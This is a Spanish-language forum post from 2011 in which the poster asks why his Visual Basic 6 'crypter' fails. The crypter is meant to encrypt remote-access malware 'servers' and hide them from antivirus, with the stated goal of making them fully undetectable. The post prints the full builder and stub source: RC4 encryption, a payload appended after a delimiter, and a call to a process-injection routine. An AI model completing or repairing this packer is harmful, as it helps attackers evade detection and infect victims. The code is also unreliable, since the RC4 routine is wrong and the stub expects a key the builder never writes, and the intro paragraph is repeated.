Que parte del source esta incorrecta?
Publicado: 11 May 2011, 00:32
Hola !
este crypter me tiene !!El Crypter funciona "correctamente" , al parecer ,cuando ejecuto cualquiera de los servidores que e probado! Se ejecutan correctamente , es mas! No tiran mensaje de error! Tampoco rompe ningún cliente , todos los clientes abren entrada en el registro! Pero no van a su ubicación indicada ! Y ni hablar de conectar claro! Tal vez ustedes seguramente verán el error ! Aber quiero dejarlo fud pero primero tengo que hacer que funcione correctamente!Y luego liarme a modificarlo!
PD:Gracias por su atención
Encryptar button source:
source stub:

este crypter me tiene !!El Crypter funciona "correctamente" , al parecer ,cuando ejecuto cualquiera de los servidores que e probado! Se ejecutan correctamente , es mas! No tiran mensaje de error! Tampoco rompe ningún cliente , todos los clientes abren entrada en el registro! Pero no van a su ubicación indicada ! Y ni hablar de conectar claro! Tal vez ustedes seguramente verán el error ! Aber quiero dejarlo fud pero primero tengo que hacer que funcione correctamente!Y luego liarme a modificarlo!
PD:Gracias por su atención
Encryptar button source:
Código: Seleccionar todo
Private Sub krypy_Click()
Dim Stub As String, Archivo As String
If txtarchivo.Text = vbNullString Then
MsgBox "Primero debe cargar un archivo para encriptar!", vbExclamation, Me.Caption
Else '
Open App.Path & "\Stub.exe" For Binary As #1
Stub = Space(LOF(1))
Get #1, , Stub
Close #1
Open txtarchivo.Text For Binary As #1
Archivo = Space(LOF(1))
Get #1, , Archivo
Close #1
With CD
.DialogTitle = "Selecione la ruta donde guardar el archivo encriptado!"
.Filter = "Aplicaciones EXE|*.exe"
.ShowSave
End With
If Not CD.FileName = vbNullString Then
Archivo = RC4(Archivo, "ro8oat")
Open CD.FileName For Binary As #1
Put #1, , Stub & "##$$##" & Archivo & "##$$##"
Close #1
MsgBox "Archivo Encriptado Correctamente!", vbInformation, Me.Caption
End If
End If
End Sub
Public Function RC4(ByVal Data As String, ByVal Password As String) As String
On Error Resume Next
Dim F(0 To 255) As Integer, X, Y As Long, Key() As Byte
Key() = StrConv(Password, vbFromUnicode)
For X = 0 To 255
Y = (Y + F(X) + Key(X Mod Len(Password))) Mod 256
F(X) = X
Next X
Key() = StrConv(Data, vbFromUnicode)
For X = 0 To Len(Data)
Y = (Y + F(Y) + 1) Mod 256
Key(X) = Key(X) Xor F(Temp + F((Y + F(Y)) Mod 254))
Next X
RC4 = StrConv(Key, vbUnicode)
End Function
source stub:
Código: Seleccionar todo
Sub Main()
Dim YO As String, Datos As String, sData() As String
YO = App.Path & "\" & App.EXEName & ".exe"
Open YO For Binary As #1
Datos = Space(LOF(1))
Get #1, , Datos
Close #1
sData() = Split(Datos, "##$$##")
sData(1) = RC4(sData(1), sData(2))
Injec YO, StrConv(sData(1), vbFromUnicode), vbNullString
End Sub
Public Function RC4(ByVal Data As String, ByVal Password As String) As String
On Error Resume Next
Dim F(0 To 255) As Integer, X, Y As Long, Key() As Byte
Key() = StrConv(Password, vbFromUnicode)
For X = 0 To 255
Y = (Y + F(X) + Key(X Mod Len(Password))) Mod 256
F(X) = X
Next X
Key() = StrConv(Data, vbFromUnicode)
For X = 0 To Len(Data)
Y = (Y + F(Y) + 1) Mod 256
Key(X) = Key(X) Xor F(Temp + F((Y + F(Y)) Mod 254))
Next X
RC4 = StrConv(Key, vbUnicode)
End Function
